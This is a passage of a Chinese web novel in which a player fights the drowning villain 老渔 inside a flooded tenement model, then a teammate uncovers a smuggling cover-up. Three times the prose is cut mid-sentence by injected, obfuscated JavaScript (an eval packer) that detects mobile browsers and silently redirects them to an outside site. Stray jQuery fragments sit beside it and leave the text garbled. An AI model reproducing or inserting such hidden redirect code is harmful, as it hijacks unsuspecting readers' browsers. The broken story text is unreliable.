果然,水盾上正出现一个个被烧焦的圆窟窿,雨水从这些窟窿里滴到他身上,带来更剧烈的疼痛,水盾的绿光也在黯淡,消耗极大。 这他妈到底是雨水还是硫酸?! “我靠?!”随歌忍不住骂了一句。 他感觉鼻子里一热,伸手一摸,是血。 他已经很久没有因为使用竹扇过度而流鼻血了,这次召唤水盾抵挡雨水攻击,对身体和精神力的影响很大。 他咬了咬牙,瞅准旁边一楼走廊,冲了过去,收起了水盾。 走廊下也有飘进来的雨丝,但比站在天井中央好多了。 “提醒一下,小伙子。”上面传来老渔的声音,“爬墙怪物们还有十分钟到,你可以在十分钟内,找个地方躲起来,但禁止拆窗户。” 随歌背靠着墙壁喘了口气,就在上面唐玉兰等人以为他会立刻上楼,找个房间藏起来时,他却再次举起竹扇,对着头顶一挥,一层新的水盾重新出现。 然后他竟然快步冲出了走廊,重新踏入暴雨中。 上面411的男人忍不住嗤笑:“他傻了吧?新的水盾能撑多久?还不是一样被腐蚀掉?” 这个模型不仅模拟了筒子楼的天井部分,连楼外的街道,小巷等都复刻了出来。随歌踏着积水跑到筒子楼外围,仰起头仔细观察外墙上的窗户。 上面玩家的视线随着他移动,也看清了筒子楼外墙窗户的模样。他们惊讶地发现这些窗户的样子并不统一。有一部分窗户是打开着的,而剩下的窗户关着,并且在窗户玻璃的位置上贴了两条红色胶带,打了个叉。 红色记号?这是什么意思?是标记吗?给谁看的?有什么用? 随歌正想着,老渔的声音再次响起:“怪物们还有五分钟到达。” 随歌听到提示,忙抹了一把不断流出的鼻血,转身冲回筒子楼内部。就这么五分钟时间,天井的水面已经漫到了他的大腿,比现实里的水面涨得快。 他一路狂奔,来到七楼,随便选了701进入。 293.筒子楼之雨 701的窗户是关着的,上面贴着一个红色的叉。随歌走到窗边,透过玻璃往下望去。 和昨晚一模一样,两只大头怪物从下面出现,开始沿着外墙向上攀爬。 其中一只爬到了101的窗户,101的窗户是打开的。 怪物在窗户外面停住了,他看着打开的窗户,停顿了大概三四秒,然后竟然没有进入,而是放弃了101,转向旁边102的窗户爬去。102的窗户关闭着,贴着红叉。 这一次的怪物似乎和昨晚不同,他们不是只挑有人的屋子,倒像是看哪个窗户不顺眼就攻击那个,暴力破开窗户,钻进去转一圈,没看到人,又气冲冲地爬出来,去另外的窗户。 随歌和楼上的玩家们看得一脸懵: “这……一点规律都没有啊?” “而且这里又不能拆窗户,我听说随歌战斗力不怎么样吧?被怪物堵屋里就完了。” 随歌趴在窗边盯着下面的动静,去看那些开着窗的窗户。 101,201,303,401…… 看着看着,他猛地睁大眼,愣了一下。 这些窗户打开的住户,不正是他昨天成功签下协议的那些人家吗?401丁奶奶,201赵小峰,303刘红梅…… 他又猛地看向那些贴着红叉的窗户,那么这些就是还没签约的住户! 这些红叉根本不是给玩家看的,是给这些怪物看的。 怪物们通过窗户上有没有标记这个红叉,来判断哪一户是未签约。它们只攻击未签约的窗户,对于开着的窗户,它们会主动绕开。 那么随歌现在只需要待在一个已签约住户的房间里,或者让自己所在的房间变成已签约。 想明白这一点,随歌立刻伸手去推701的窗户,想将窗户推开,然后撕掉红叉,就能安全。但他用了全身力气,那扇窗户纹丝不动,像被焊死了一样。 上方传来老渔慢悠悠的声音:“窗户是推不开的,我说过,已签约房间的门是锁死的,你得自己想办法进去。” 随歌心里一沉,他立刻转身冲出701,跑向隔壁的702,他记得702是已签约的。 他用力去推702的门,门同样纹丝不动,锁得死死的。 时间不多了,他转头观察走廊,看看有没有可以用上的东西。走廊尽头是通往天井的楼梯,墙壁上贴满了小广告,头顶有电线,连接着灯泡。东西不多,但有用的一个都没有。 他重新看向702门板,上面有猫眼,门锁是老式的铁锁。钥匙可能在任何一个地方,甚至可能在门内,现在去找肯定来不及了。 随歌皱眉想了想,试探着凑近猫眼,想看看里面什么情况。但猫眼后面一片漆黑,什么都看不见。 “咦?”他愣了一下,伸手擦了擦猫眼,以为是灰尘挡住了,再次凑上去看,还是一片黑,不透一点光。 上面的唐玉兰问道:“看到里面有什么了吗?” 随歌提高声音:“一片黑!什么都看不见!应该是没有光?” 唐玉兰一愣,脸色变了,后背刹那间升起一股寒意:“随歌!这些房间里都是空着的,没人住!猫眼里不可能是全黑的,你一定能看见客厅!” 随歌打了个激烈,瞬间明白过来。 我靠……不是没光。 是有东西在里面,贴着门用身体挡住了猫眼! 房间里……有鬼? 但这明明是已签约的屋子,按道理住户已经搬走了,应该是安全的空房才对啊?为什么还有东西在里面不开门? “咚!咚!咚!” 敲窗的声音从外墙传来,越来越近。那两只怪物已经爬到了六楼,正在暴力破开红叉的窗户,声音让随歌头皮发麻,他紧盯着702的门板,脑子飞快转动。 房间里的鬼是已签约的住户,它应该已经搬走了,但现在还在这里。 它隔壁的701楼长老张就是死在这里的,这算凶宅。在副本现实里这一栋楼的人都不愿意搬走,但游戏模型里,很多人都搬走了,说明这些住户最希望的就是安全离开,而702的住户还留在这里,它最怕的就是没搬成功,继续困在这里。 而自己现在的身份是……拆迁公司员工。 随歌忽然抬起手,在门上敲了三下。 里面没回应,随歌提高声音:“您好!我是拆迁公司的!您之前签的协议有点问题,需要您补个签字,不然您这户不算成功搬走,系统里还是‘未搬迁’状态!” 他顿了顿:“您从窗户应该能看到外面那个东西吧?它快进来了。它只攻击未签约的屋。您开门,我进去帮您把手续补全。它就不会进您家了。” 几秒后,一个声音从门板后幽幽传来:“……你怎么证明你是拆迁公司的?” 有戏! 随歌手忙脚乱地从面板里掏出那份《搬迁同意书》,又把自己的员工身份牌摘下来,一起贴在猫眼前:“您看!协议,工牌,货真价实!” 门内又沉默了两秒,然后门锁被打开,门向内拉开了一条缝。 随歌没敢耽搁,立刻侧身挤了进去,将门关上。他转头看向屋内,屋子里空荡荡的,什么都没有,也没有刚才那个和他对话的鬼影。 他来不及细想,快步跑到窗边,探出头向下望去。 那两只怪物正朝着七楼爬来,其中一只几下就攀到了七楼702,转头和屋子里的随歌对上了。 随歌额头渗出冷汗,一动不敢动。上面观战的唐玉兰等人也下意识地攥紧了拳头,屏住呼吸。 那怪物在702窗外停顿了几秒,左右扭动着脖子,然后真的放弃了701,爪子一蹬,转向了旁边的703。 随歌这才缓缓吐出一口气,此时才察觉自己冒了一声冷汗,心脏扑通扑通狂跳。 旁边的703窗户上贴着红叉,是未签约户。怪物扬起头颅,开始用额头撞击703的窗户。 然后,令人惊讶的是,703的窗户竟然被人从里面猛地拉开,一只青黑的鬼手闪电般伸出,抓住怪物的脖子! 怪物被吓了一跳,发出一声嘶吼,鬼手力量很大,硬生生将它从窗外拖进了703屋内。窗户被迅速关上,紧接着屋子里传来怪物的惨叫,还有咀嚼撕扯的声音。 随歌立刻看向另一只还在604的怪物,同样的一幕上演,604的窗户主动打开,另一只青黑色的鬼手伸出,将怪物拖了进去,窗户关上。 两只怪物就这么被未签约房间里的鬼抓走了? 外面的暴雨更大了,突然天边传来“轰隆”一声巨响,一道闪电划过筒子楼上方,紧接着是震耳欲聋的雷声,随歌被这巨响震得一个激烈。 这里的规 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17229058|177773||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 则和现实是反的? 在副本现实永安楼,怪物追杀未签约的住户。但在这里,未签约住户的鬼魂反过来在捕猎这些怪物? 那他自己呢?他现在待在已签约房间,暂时安全,但如果他变成了未签约状态呢? 紧接着,上方传来老渔的笑声:“发现了吗?如果所有住户都齐心协力,这些怪物根本爬不上来。可惜啊,现实里的你们,都心怀鬼胎。” “现在,游戏升级。我会随即让一个已签约房间变成未签约。倒计时,10秒。” 随歌心一沉,他所在的702窗户开始向内闭合,同时窗外的玻璃上开始浮现一个红色的叉。 “操!”随歌骂了一句,转身就朝着门口冲去。 他冲到门边,没敢立刻开门,趴到猫眼上向外张望。 走廊上空荡荡的,没有怪物,也没有鬼影。他稍微松了口气,伸手就打算去拧门把手。 忽然动作一顿,一股寒意蔓延全身。 天井对面,714的房门打开了一条细细的缝。缝隙后,一只眼睛正紧紧贴着门缝,幽幽地看着他。那只眼睛没有眼白,整个眼眶里是一片漆黑。 如果现在冲出去,714那个鬼一定会将他五马分尸,但如果留在701,房间马上会变成未签约,一旦鬼魂从窗户进来,他会被堵死在屋子里,同样是死路。 随歌转身又扑回窗边,飞快看了一眼。 又有一批新的怪物出现,开始向上攀爬。还有一部分怪物进入了一楼的窗户,进入筒子楼内部。 而整栋筒子楼所有贴着红叉的窗户都打开了,一只只青黑的鬼手扒在窗沿,更多的鬼影在窗户后面晃动,盯着那些爬墙的怪物。 随歌正看着这一幕,突然有一只鬼手扒住自己窗户的窗框,窗户玻璃碎裂,那只鬼魂就要爬入! 他被吓了一跳,眼一闭心一横,冲到门口拉开门就跑了出去。 同时,对面714的房门也完全打开,一个身形模糊的鬼影站在了门口,周身散发着寒气。 但它没有第一时间去看随歌,而是仰起头看向七楼另一边的走廊。那里站着一只怪物,刚刚从六楼爬上来。 鬼魂发出“嗬嗬”声,注意力被怪物吸引。随歌趁机沿着环形走廊狂奔,朝着楼梯的方向跑去。 前几年在竹翰学院天天顶着烈日跑步,也算为此刻这种拼体力的时刻做了准备。他跑得很快,身后的鬼魂从702追了出来,如影随形,但几秒后就停下了脚步,盯着那只怪物。 鬼魂们会优先攻击爬墙怪物,可一旦怪物被抓走,或者鬼魂找不到他们的时候,随歌就会遭殃。 “啊——!” 走廊另一头突然传来一只怪物的惨叫,随歌转过头,只见一只怪物被从房间里伸出的鬼手抓住了脚踝,正在疯狂挣扎! 七楼其他几个房间的鬼魂全都兴奋地颤抖起来,开始朝着那只被困的鬼魂移动。 随歌抓着机会,想冲向楼梯,下到六楼暂时躲一躲。 然而,那只被抓住的怪物竟然直接将自己的腿从关节处生生扯断!断腿留在鬼手中,它自己则化作一滩水流,迅速从鬼手中溜走,滑向六楼。 扑个空的鬼魂们发出低吼,它们失去了到手的鸡腿,齐刷刷转过头来,直勾勾盯着还没来得及下楼的随歌。 随歌:“!!!” 294.筒子楼之雨 至少有四只鬼魂看向了随歌,他们从房间里飘出,鬼手伸长。随歌脚下的水泥地开始渗出黑水,朝着他的脚踝流去。 而那只刚刚逃到六楼的怪物趴在台阶上看着上方的随歌,它意识到是这个活人吸引了鬼魂的注意力,这正是它逃生的机会。 随歌被三只鬼魂一步步逼退到七楼走廊尽头,后背撞上了707的房门。 鬼魂们发出吼叫,伸出鬼手缓缓朝着他逼近。 上方的唐玉兰急得转圈圈,她紧紧盯着下方的随歌,右手手掌已经出现一团红色光芒,打算等着鬼魂发动攻击,她就立刻出手帮忙—— 随歌忽然露出一个微笑。 他仰起头,对着高高在上的老渔喊道:“老渔!你设计这个游戏,是想看我们玩家被追得像丧家犬一样,对吧?” “但我为啥要按你的规则玩?” 话落,他猛地抬起手,重重敲了敲伸手707的房门! 正在逼近的三只鬼魂脚步一顿,困惑地看着这一幕。 随歌深吸一口气,对着707门内吼道:“拆迁公司的人!查房!协议有问题!快他妈开门补签——!!” 喊完,他立刻向旁边侧身一滚! 哐! 707的房门被一股巨力从里面猛地撞开!一只粗壮的鬼手从门内直直伸出,一把抓住了正前方鬼魂的手臂! 那只鬼魂的手臂竟然被707门内的鬼手硬生生扯下来!黑雾喷溅。 另外两只围过来的鬼魂被惊住了,随即发出愤怒的咆哮,立刻转移目标,朝着707门内扑去! 随歌猛地跃起,手中的竹扇用力一挥,雾气在他周围环绕,模糊了他的身形。他从鬼魂混战边穿过,冲出了包围圈,朝着走廊尽头跑去。 那只怪物一直趴在六楼边,仰头看着上方的混乱。见随歌朝着自己这个方向冲来,他立刻警惕起来,细长的手臂变成水刺,对准了上方的随歌! 随歌在怪物正上方的七楼栏杆边缘刹住脚步,他扒着栏杆探出半个身子,对着下面的怪物大声吼道:“我知道你是谁!” “老张!!” 上面所有观战的玩家都愣住了。 什、什么? 老张?! 那个死了二十多年的楼长?!这个怪物是老张的怨念?! 老渔坐在高处,脸色瞬间变得阴沉下来,眯起眼睛死死盯着随歌。 随歌根本顾不上其他人的反应,继续喊道:“我也知道你为什么每年暴雨夜都回来!当年在天井边,是老渔推的你!他还破坏了水泵,让水排不出去,活活淹死了跳下去救你的602曹建国!对不对?!” “但老渔背后肯定还有人指使!你想要的真相,我也想知道!!” 那怪物闻言,原本没有五官的脸上竟真的隐约浮现出一张中年男性的面容,疲惫苍老。 随歌继续喊道:“这个模型是老渔造的!他每天晚上在这里钓鱼,就是想在这里钓到你!把你困在这个天井里,永远不得解脱!” “我们为什么一定要按他的规则玩?!” 他指向周围正在撕扯707鬼魂的其他鬼魂:“看看这些!他的游戏就是让我们互相残杀,鬼抓鬼,怪躲鬼,人死光!” “我们为什么不试着合作一次?!毁了这破模型!!” “吼——!!” 七楼走廊另一头传来咆哮,那几只鬼魂已经撕碎了707的鬼魂,他们重新看向随歌,几只鬼影朝着随歌猛扑过来! 下方,怪物深深地看了随歌一眼,然后它用力地点了点头。 老渔的怒吼从高处砸下:“既然如此,那就留你们不得了!” 话音未落,随歌脚下的水泥地立刻变得如同沼泽般柔软,无数只鬼手从两侧墙壁中抓出来,天花板上也降下了暴雨,将所有的鬼、怪、人淋得湿透。 随歌猛地展开竹扇,手臂伸直,对着前方用力一挥! 扇面过处,空气里的水汽变成了白霜,在地面上铺出一条结冰的道路。扇出的风化作风刃,呼啸而过,将侧面抓来的几只鬼手切断! 他抬手就要挥出第二扇,身后却突然传来怪物惊慌的嘶吼! 一只手臂从后方伸来,重重按在他的肩膀上,力道大得让他半边身子一麻。随歌下意识回过头去,一记重拳结结实实砸在他脸上! “砰!”一声,随歌整个人被砸得向后踉跄了好几步,眼前金星乱冒,耳朵里嗡嗡作响。他弯下腰伸手捂住脸,鼻梁被砸断了,血糊了满手,撕心裂肺的疼痛传遍四肢百骸。 他勉强抬起眼,老渔就站在面前。 他仍然穿着那套睡衣,睡衣下肌肉发达,手里握着鱼竿。 “以为跟老张联手,就能破我的局?”老渔冷冰冰道,“在这里,每一滴雨,每一寸水,都出自我手。你们连挣扎的资格都没有!” 他话落,猛地向下一挥鱼竿! 底下天井的水已经淹到了四楼,水面炸开巨大的水花。十几条水流从积水中高高射出,直直扑向随歌! 紧接着,四面水墙升起,开始向中间合拢,要将随歌碾碎! 上面的唐玉兰忙朝着前方正在合拢的水墙拍出一掌,一团红色光芒撞在水墙上,水墙被轰开一个缺口,连带着操控水的老渔也被震得后退。空中的十几条水流也在空中停了几秒。 随歌趁机再次挥扇,一层水盾在身前撑开。 水流恢复行动,连续不断地狠狠抽击在水盾上,盾面上立刻出现裂痕,快要破碎。 老渔稳住身形,继续挥着鱼竿,操控着水流。怪物试图上前帮忙,但它本身也算水形态,老渔甚至可以控制它的行动,唐玉兰的帮助也常常被老渔格挡开来,随歌被打得毫无还手之力。 上面,411和412那两个玩家又开始阴阳怪气: “啧,还以为全服第七有多厉害呢,这不还是被按着打?” “唐姐也是,帮他有什么用?浪费力气。” 唐玉兰瞪了他们俩一眼,又重新死死盯着老渔,和他手里不断挥动的鱼竿。 看了大约十几秒,她眼睛一亮,朝着下面喊:“随歌!他的鱼竿有1秒钟CD!” 随歌精神一振!他飞快地与远处的怪物对视了一眼。 老渔又一次挥动鱼竿,操控着三条水流脚刹而来!在鱼竿挥到尽头的时候,随歌忽然将竹扇朝着其中一条水流狠狠一挥! 一股吸力从扇面传出,那根水流竟然在半空中一颤,脱离了老渔的掌控,被随歌夺走了控制权。 随歌手腕反转,用尽力气,将那条水流狠狠甩向老渔。 远处的怪物心领神会,将身体化作一股水,融入了那条被甩出的水流中,水流直袭向老渔。老渔眉头一皱,还料到随歌还有这一手。他快速一抖鱼竿,一股水波散发开来。 那条袭向他的水流在半空中崩散,化成水花洒落。 “雕虫小技。”老渔冷哼一声。 但就在漫天水花中,一道迅捷如电的水里以及绕到了老渔的身后。怪物猛地暴起!从身体里射出七八根水刺,朝着老渔后背狠狠刺去! 老渔头也没回,手腕向下一沉,一圈波纹以他为中心散开。 他周围的水面立刻变得像一面镜子,所 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17229059|177773||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 有水刺在碰到镜面的时候反弹了回去,怪物猝不及防,被反弹回来的水刺正面刺中,它发出痛苦的嘶吼,踉跄着向后倒退了好几步。 老渔一击得手,正要乘胜追击,却忽然感觉背后一凉! 他立刻抬手用鱼竿挡住,随歌的竹扇和老渔的鱼竿撞击,发出清脆的声响。 紧接着,那怪物竟然趁机主动解体,整个身体散成一片水雾,覆盖在老渔手中的鱼竿上,将鱼竿前半段包裹得严严实实。 透过那水雾,随歌清晰地看到了鱼竿内部竟然是中空的,里面流动着黑色的雾气。 “帮我定住鱼竿!”随歌朝着水雾大喊。 水雾听到了,立刻开始剧烈翻涌起来,变成一层厚实的冰层,将鱼竿前半段死死冻住。 老渔脸色一变,他低喝一声,握住鱼竿猛地发力一抖! 包裹鱼竿的冰层应声炸开,老渔彻底失去了耐心,将整条鱼竿高高举起,对着天空用力向下一挥! “轰隆——!!!” 整个504房间都震动了一下! 紧接着,筒子楼模型的墙壁凭空生出了一股滔天巨浪!高达数米,如同海啸般,朝着刚刚站稳的随歌当头拍下! 水浪的范围太大了,根本无处可躲。 随歌只来得及将竹扇收起来保护好,下一秒整个人就被巨大的水浪拍中,狠狠卷入滔天的水流,直直砸进了下方天井快要淹到六楼的深水之中! 水花溅得老高,然后被翻涌的水面吞没。 一切都发生在电光石火之间,所有玩家都安静下来,盯着随歌落水的那片水面。 唐玉兰脸色发白,她想帮忙,但随歌落水的位置太深,水流汹涌,她根本不知道随歌沉到了哪里。从这么高的地方被巨浪拍进深水,如果随歌不会水,有可能被活活淹死。 上面,411和412两个人已经幸灾乐祸起来:“哈!这下真完蛋了吧!” 然而,他们的嘲笑还没落在,天井深水之中传来一声沉默的巨响! 哗————!!! 紧接着,一道水墙如狂龙般从水底冲天而起!高度甚至达到了504地板! 老渔难以置信地看着这道滔天水墙,站在原地一时忘了动作。 唐玉兰瞬间明白了随歌的意思,她双手连续拍出,几团蓝色光球没入水墙之中!得到能量的水墙再次膨胀,发出咆哮,然后照着老渔狠狠卷了过去! 接着,一股气流凭空在老渔周围生成,防止他躲避。 “什么?!你——!”老渔只来得及发出半声吼叫,下一秒就被狂暴的水墙吞没! 水流卷着他在天井半空转了几圈,然后重重灌入了下方的积水之中! 不仅如此,几道较小的水浪朝着504地板泼去,不偏不倚浇了看热闹的411和412两人满头满脸。两人从头到脚湿透,狼狈不堪。 唐玉兰和其他玩家看到这一幕,忍不住笑出声:“哈哈哈哈哈哈!” 接着,只见六楼露在水面上的楼梯边缘,一只苍白、骨节分明、手指边还带着旧伤的右手扒住了台阶边缘。 随歌艰难地从水下爬上楼梯,浑身湿透,脸上血水混在一起,头发湿漉漉贴在额头上,脸色和嘴唇苍白,消耗巨大。 他抬起头看向上方,脸上却带着灿烂的微笑。 411和412气得指着下面大骂: “随歌!你他妈故意的吧?!” “操!把水往我们这儿引?!” “有毛病啊你!” 随歌靠在栏杆上喘了口气,然后美滋滋地朝着他们俩竖了个中指。 295.筒子楼之雨 随歌刚竖完中指,还没喘匀气,只听哗啦一声,他垂在楼梯边的脚踝就猛地被一只冰冷的手扣住!仿佛他的骨头都要被捏碎。 “我操!”随歌吓得低头一看,竟然是老渔。 他竟然这么快就从水下挣脱,潜了过来! 随歌整个人被拽下楼梯,重新跌入深水中。 “咕噜……咳咳!”他呛了好几大口水,肺部火辣辣地疼,眼前瞬间发黑。 老渔在水下,一只手死死捏着他的胳膊,另一只手按住他的后脑勺,用力将他往更深的水里摁,想让他在水里窒息。随歌拼命挣扎,上面的唐玉兰见状,一掌击出,一道红光射向水下的老渔! 老渔不得不松手,随歌用尽力气猛地蹬水,浮出水面。 “咳咳咳!”他趴在楼梯边缘,剧烈咳嗽干呕,将呛进去的水和血沫吐了出来。 他强撑着抬起手臂,对着刚从水里冒头的老渔狠狠挥动竹扇。一股强劲的旋风将老渔裹住,甩向远处的水面。 但这一些耗尽了随歌最后的力气,他刚爬上楼梯,五脏六腑就一阵翻江倒海,喉头一甜,呕出一大口血。 他抬起头看向半空,那团怪物化成的水雾正在溃散,水雾在空中焦急地盘旋,却无法再发出有效的攻击。 而那些鬼魂此刻围拢过来,虎视眈眈地盯着老张和随歌。 老渔被风吹到远处,很快稳住身形。他轻轻一挥鱼竿,水便稳稳将他拖起,送回了七楼的走廊上。他看起来也很狼狈,但充满杀意,盯着咳血不止的随歌,一步步逼近。 随歌能清楚地感觉到自己身体快到极限了。竹扇能治愈玩家身上的伤口,但治愈不了因为过度使用武器,透支身体带来的虚弱。他现在连站稳都有些勉强,只庆幸初与序离开了筒子楼,不然按她的性子,抢着下来的一定是她,受伤的也会是她。 老渔单手握着鱼竿,对着天井上方一挥。一层水墙在上方出现,挡住了唐玉兰等人的攻击。 紧接着,他另一只手直接握拳,朝着随歌砸过来! 他一看就是经受过专业格斗训练,随歌本来就不擅长近身格斗,对上老渔完全是下风中的下风。勉强躲闪格挡了几下,身上就又添了好几处新伤。 几分钟后,老渔一腿狠狠踹在随歌腹部!随歌的后背重重撞在墙壁上,滑倒在地。他蜷缩起身体,又是一大口血咳了出来,肋骨似乎断了。 老渔冷笑着走近,居高临下地看着他。 随歌抓起掉在一旁的竹扇,对着自己身上快速一扇。身上较轻的伤口愈合,几处重伤也开始缓慢恢复。 老渔不再给他机会,双手握紧鱼竿,高高举起,朝着随歌狠狠劈下! 随歌猛地抬起手中竹扇,横在上方硬生生去格挡鱼竿。接着手腕一拧,扇骨边弹出几片水刃,狠狠切入鱼竿! 水刃切入三分,在鱼竿上留下一道深深的裂缝,但也仅此而已,鱼竿坚韧异常,并未断裂。 老渔狞笑起来:“凭你也想毁我法器?痴心妄——” 就在这时,半空中那团快要溃散的水雾像是回光返照,一阵剧烈翻涌。紧接着两道水流从水雾中分离!一道,是老张二十多年寻找真相的执念,一道,是602老曹无辜惨死,沉尸水底的冤屈。 这两道水流直直钻入了鱼竿的裂缝中! 老渔脸色一变,那根鱼竿从内部猛地炸开!竹片四溅! “啊啊啊——!!!”老渔握住鱼竿的右手变得焦黑,皮开肉绽,冒出黑烟。他发出一声惨叫,整个人颤抖起来。法器被毁,他受到了严重的反噬。 老渔知道自己完了,临死也要拉个垫背的。 他猛地抬头,死死盯住随歌,左手直直掐住随歌的喉咙:“一起死——!!!” 随歌被死死掐住喉咙,整个人被提离地面,窒息感涌来,他开始耳鸣,但能听见上方水墙后面传来唐玉兰和其他玩家惊慌的叫喊。 他张开嘴试图吸入一丝空气,右手虚弱地掰扯着老渔的手臂,左手还紧紧攥着竹扇。 老渔的脸扭曲着,看着濒死的随歌:“你确实很抗揍,以前来这里的玩家,从没有一个能在我手底下活到现在。” 他掐着随歌喉咙的手又收紧了几分:“但那又怎么样?一个毫无攻击力的辅助,不会格斗,右手一点力气也没有……就凭你,也想让我死在这里?!” 随歌的意思正在快速流失,但他却勉强扯起嘴角,露出一个嘲讽的笑容。他抬起左手,将竹扇举到了老渔眼前。 老渔本能地感到一丝不对劲。 下一秒,随歌猛地握紧左拳! 咔嚓——!!! 那把竹扇竟被他用尽力气,硬生生从中间折断! 断裂的扇骨中立刻散发出翠绿色光芒!那光芒充满生机,带着能净化一切的凛然气息,一接触到老渔掐着随歌的左手,就像火星溅入了油锅般,开始燃烧! 老渔的整条手臂,包括整个鬼躯,瞬间从内部燃起了光焰,灼烧着他的怨念! “啊啊啊——!!不可能!!”老渔发出惨叫,他像是被烙铁烫到般,猛地松开了随歌,惊恐地看着自己燃烧的身体和手臂,“你只是治愈系!怎么可能?!” 随歌摔落在地,捂着脖子咳嗽着。他抬眼看着老渔,一字一顿道:“谁告诉你,治愈系就不能杀人了?” “治愈的本质,是让不该存在的死,回归他该有的结局!!” 老渔在绿色光焰中疯狂挣扎惨叫,身体变得透明。他死死盯着随歌,脸上突然露出一个痛苦的冷笑: “竹扇是你的本命武器……你亲手毁了它……我看你……还能活多久!!” 话音落下,他的身影彻底被绿色光焰吞没,化作几缕青烟,消散无踪。 随着老渔的死亡,这里的空间失去了控制者。四周开始剧烈震动,天花板簌簌落下灰尘,整个模型开始崩塌。 上方504房间内,唐玉兰等人震惊地看着水墙突然消失,露出了下方正在崩塌的模型。天井里的水失去了控制,正在疯狂上涨,水面快要涌出模型边缘,淹到504的地板了。 “随歌呢?!”唐玉兰焦急地朝着模型大喊。 “在……这儿……”虚弱的声音从水面传来,紧接着一只手从水下伸出,扒住了地板边。 唐玉兰等人立刻七手八脚抓住了随歌的手臂和衣服,将他从正在崩塌的模型里拖了上来。 随歌跪倒在地板上,浑身冰凉。他刚被拉上来,就忍不住侧过头,吐出一大口血水,身体微微痉挛。 而随着他被拉出来,天井里的积水达到了与504地板齐平的高度,停住了上涨。接着那些水变得清澈,然后如同阳光下的露水,快速蒸发。不过短短十几秒,积水变成了正常的地 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17229060|177773||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 板。 同时,房间里淅淅沥沥下个不停的雨也戛然而止,504房间恢复了它原本应有的模样。 玩家们连忙围到随歌身边,唐玉兰蹲下身,急声问道:“感觉怎么样?伤到哪里了?” 随歌扯了扯嘴角:“感觉……挺好……” 下一秒,他眼睛一闭,晕了过去。 “诶诶诶,随歌?!”旁边一个玩家吓了一跳,连忙伸手扶住他软倒的身体。 唐玉兰探了探他的脉搏,松了口气,喊道:“快!把他抬回410休息!小心点!” 几个玩家立刻小心翼翼地将昏迷的随歌架起来,抬出504,往四楼走去。 砰!砰!砰! 几声闷响从永盛物流仓储中心角落传来,一块窗户玻璃被从里面卸了下来,直直往下掉。 一只纤细的手从窗户里伸出,稳稳接住向下坠的玻璃,没有让它掉到地上发出声响。那只手将玻璃拿回屋内,小心放在一边。 紧接着,初与序和路耀先后从窗户里翻了出来,轻盈落地。 这里是仓库的后勤通道角落,路耀懵懵地跟着初与序从小黑屋一路跑来这儿,还真逃出来了。远处有几个保镖,都背对着这个方向。 两人穿过后巷,离开了仓库,重新回到了外面。 现在已经是下午,天空仍然下着小雨,一层薄雾。路耀长长松了口气:“我靠,终于出来了,还以为要交代在里面了。” 他看向初与序:“现在回筒子楼不?” 初与序摇了摇头,指向筒子楼北面:“去那边。” 路耀虽不解,但还是跟上。 两人绕到筒子楼北侧远一点的地方,那里地势高,有一个小土坡。初与序站在坡顶,将连帽衫帽子拉到脑后,往向筒子楼和永盛物流仓储中心的方向。 路耀也爬了上来,踮起脚看去,看了半天啥也没看出来:“你发现啥了?” 初与序没回答,问道:“路耀,有没有一种可能,上面的人其实根本不想拆掉这栋筒子楼?” “啊?”路耀道,“为啥?” 初与序指向筒子楼的方向:“这个副本的时间是六月中旬。夏至日前后,这里的正午太阳高度角接近85°,阳光几乎是直射。永安楼高大约22米,在正午时,会在它的南侧,也就是仓储中心的位置,投下大约一米五长度的阴影。” “但如果在冬季,冬至日,正午太阳的高度角有38°左右。那么永安楼投向南侧的阴影长度会达到28米。” 她看向路耀:“那座仓储中心,距离永安楼只有七八米。这意味着在冬季的大部分白天,它会完全被永安楼的阴影覆盖。” “从主要道路看过来,视线被永安楼完全挡住。从城市的卫星图或者航拍图上看,两栋建筑很容易重叠,难以看清仓储中心的全貌。” “但是,如果永安楼被拆掉了。”她顿了顿,继续道,“从北边来的视线将一览无余。航拍图上,仓储中心的任何违规问题都会暴露,比如高度、倾斜。” “到时候,那里的非法走私濒危动物、藏匿军火毒品、经营地下黑拳场,所有的罪行将全盘败露,立案调查是必然的。” 她将手插进连帽衫的口袋:“你说,仓库里那个老板和永盛公司副总长得像。” “如果他们是亲戚呢?比如,兄弟,或者叔侄。” 296.筒子楼之雨 路耀猛地睁大眼睛:“你是说……早在1998年拆迁计划启动前,副总和他的亲戚就成立了这家‘永盛物流公司’,暗地里做着非法生意,并用旁边的筒子楼掩护。” “但后来筒子楼要拆了,副总便买通了504的老渔,让他谋杀了积极组织签字的老张,制造‘凶楼’事件,导致拆迁搁置。他的黑生意又平安无事了二十多年。” 初与序点了点头:“说得没错。” 